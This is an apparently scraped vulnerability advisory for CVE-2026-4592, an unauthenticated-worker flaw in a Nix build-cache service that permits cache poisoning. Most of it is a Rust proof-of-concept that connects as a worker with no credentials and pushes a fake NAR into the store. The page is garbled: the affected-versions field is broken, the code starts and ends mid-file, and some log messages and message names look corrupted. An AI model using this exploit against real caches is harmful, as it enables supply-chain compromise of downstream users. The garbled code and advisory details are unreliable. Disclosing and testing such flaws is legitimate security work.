Nix Unauthenticated Worker Leads to Cache Poisoning & Supply Chain RCE (CVE-2026-4592)

Vulnerability Summary: Unauthenticated worker on /proto → arbitrary NAR write / cache poisoning Vulnerability Overview CVE ID: CVE-2026-4592 Severity: Critical (9.4/10) Affected Versions: >= 63e3b30, , >; #[tokio::main] async fn main() { let url = std::env::args() .nth(1) .unwrap_or_else( let worker_id = Uuid::new_v4().to_string(); let job_id = Uuid::new_v4().to_string(); eprintln!("[probe] connecting to {url} as fresh worker_id={worker_id}"); let (mut ws, _resp) = match connect_async(&url).await { Ok(pair) => pair, Err(e) => { eprintln!("[probe] WebSocket connect failed: {e}"); std::process::exit(1); } }; // InitConnection let init = ClientMessage::InitConnection { version: PROTO_VERSION, capabilities: GradientCapabilities { core: false, federate: false, fetch: true, eval: true, build: true, cache: false, }, id: worker_id.clone(), }; send(&mut ws, &init).await; // Expect AuthChallenge match recv(&mut ws).await { ServerMessage::AuthChallenge { peers } => { eprintln!("[probe] AuthChallenge received, peers={peers:?}"); } ServerMessage::Reject { code, reason } => { eprintln!("[probe] REJECTED at init (code {code}): {reason}"); eprintln!("[probe] OK - server refused unknown worker (secure)"); std::process::exit(0); } other => { eprintln!("[probe] unexpected reply to InitConnection: {other:?}"); std::process::exit(1); } } // AuthResponse with no tokens send(&mut ws, &ClientMessage::AuthResponse { tokens: vec![] }).await; // InitAck or Reject? match recv(&mut ws).await { ServerMessage::InitAck { version, capabilities, authorized_peers, failed_peers, } => { eprintln!( "[probe] !! InitAck received: server_version={version} \ negotiated_capabilities={:?}, authorized_peers={authorized_peers:?} \ failed_peers={failed_peers:?}" ); eprintln!( "[probe] VULNERABLE - unknown worker admitted in open mode \ with zero credentials" ); } ServerMessage::Reject { code, reason } => { eprintln!("[probe] REJECTED after auth (code {code}): {reason}"); eprintln!("[probe] OK - server refused unknown worker (secure)"); std::process::exit(0); } other => { eprintln!("[probe] unexpected reply to AuthResponse: {other:?}"); std::process::exit(1); } } // NarPush let nar_push = ClientMessage::NarPush { job_id: job_id.clone(), store_path: format!("/nix/store/{FAKE_HASH}-{FAKE_NAME}"), nar_hash: FAKE_HASH.to_string(), nar_size: FAKE_NAR.len() as u64, nar: FAKE_NAR.to_vec(), }; send(&mut ws, &nar_push).await; // Expect NarPushResponse match recv(&mut ws).await { ServerMessage::NarPushResponse { .. } => { eprintln!("[probe] InitAck - open-mode admission confirmed"); eprintln!("[probe] pushing {} bytes to nar/store/aaaa-...-0.9.0", FAKE_NAR.len()); eprintln!("[probe] VULNERABLE - NarPush/Nariploaded accepted without job ownership"); } ServerMessage::Reject { code, reason } => { eprintln!("[probe] REJECTED at NarPush (code {code}): {reason}"); eprintln!("[probe] OK - server refused NarPush (secure)"); std::process::exit(0); } other => { eprintln!("[probe] unexpected reply to NarPush: {other:?}"); std::process::exit(1); } } // Nariploaded let nariploaded = ClientMessage::Nariploaded { job_id: job_id.clone(), store_path: format!("/nix/store/{FAKE_HASH}-{FAKE_NAME}"), nar_hash: FAKE_HASH.to_string(), nar_size: FAKE_NAR.len() as u64, nar: FAKE_NAR.to_vec(), }; send(&mut ws, &nariploaded).await; // Expect NariploadedResponse match recv(&mut ws).await { ServerMessage::NariploadedResponse { .. } => { eprintln!("[probe] Nariploaded accepted"); eprintln!("[probe] VULNERABLE - NarPush/Nariploaded accepted without job ownership"); } ServerMessage::Reject { code, reason } => { eprintln!("[probe] REJECTED at Nariploaded (code {code}): {reason}"); eprintln!("[probe] OK - server refused Nariploaded (secure)"); std::process::exit(0); } other => { eprintln!("[probe] unexpected reply to Nariploaded: {other:?}"); std::process::exit(1); } } std::process::exit(2); } async fn send(ws: &mut Ws, msg: &ClientMessage) { let bytes = rkyv::to_bytes::<_,

Goal Reached Thanks to every supporter — we hit 100%!

Nix Unauthenticated Worker Leads to Cache Poisoning & Supply Chain RCE (CVE-2026-4592)

More from this source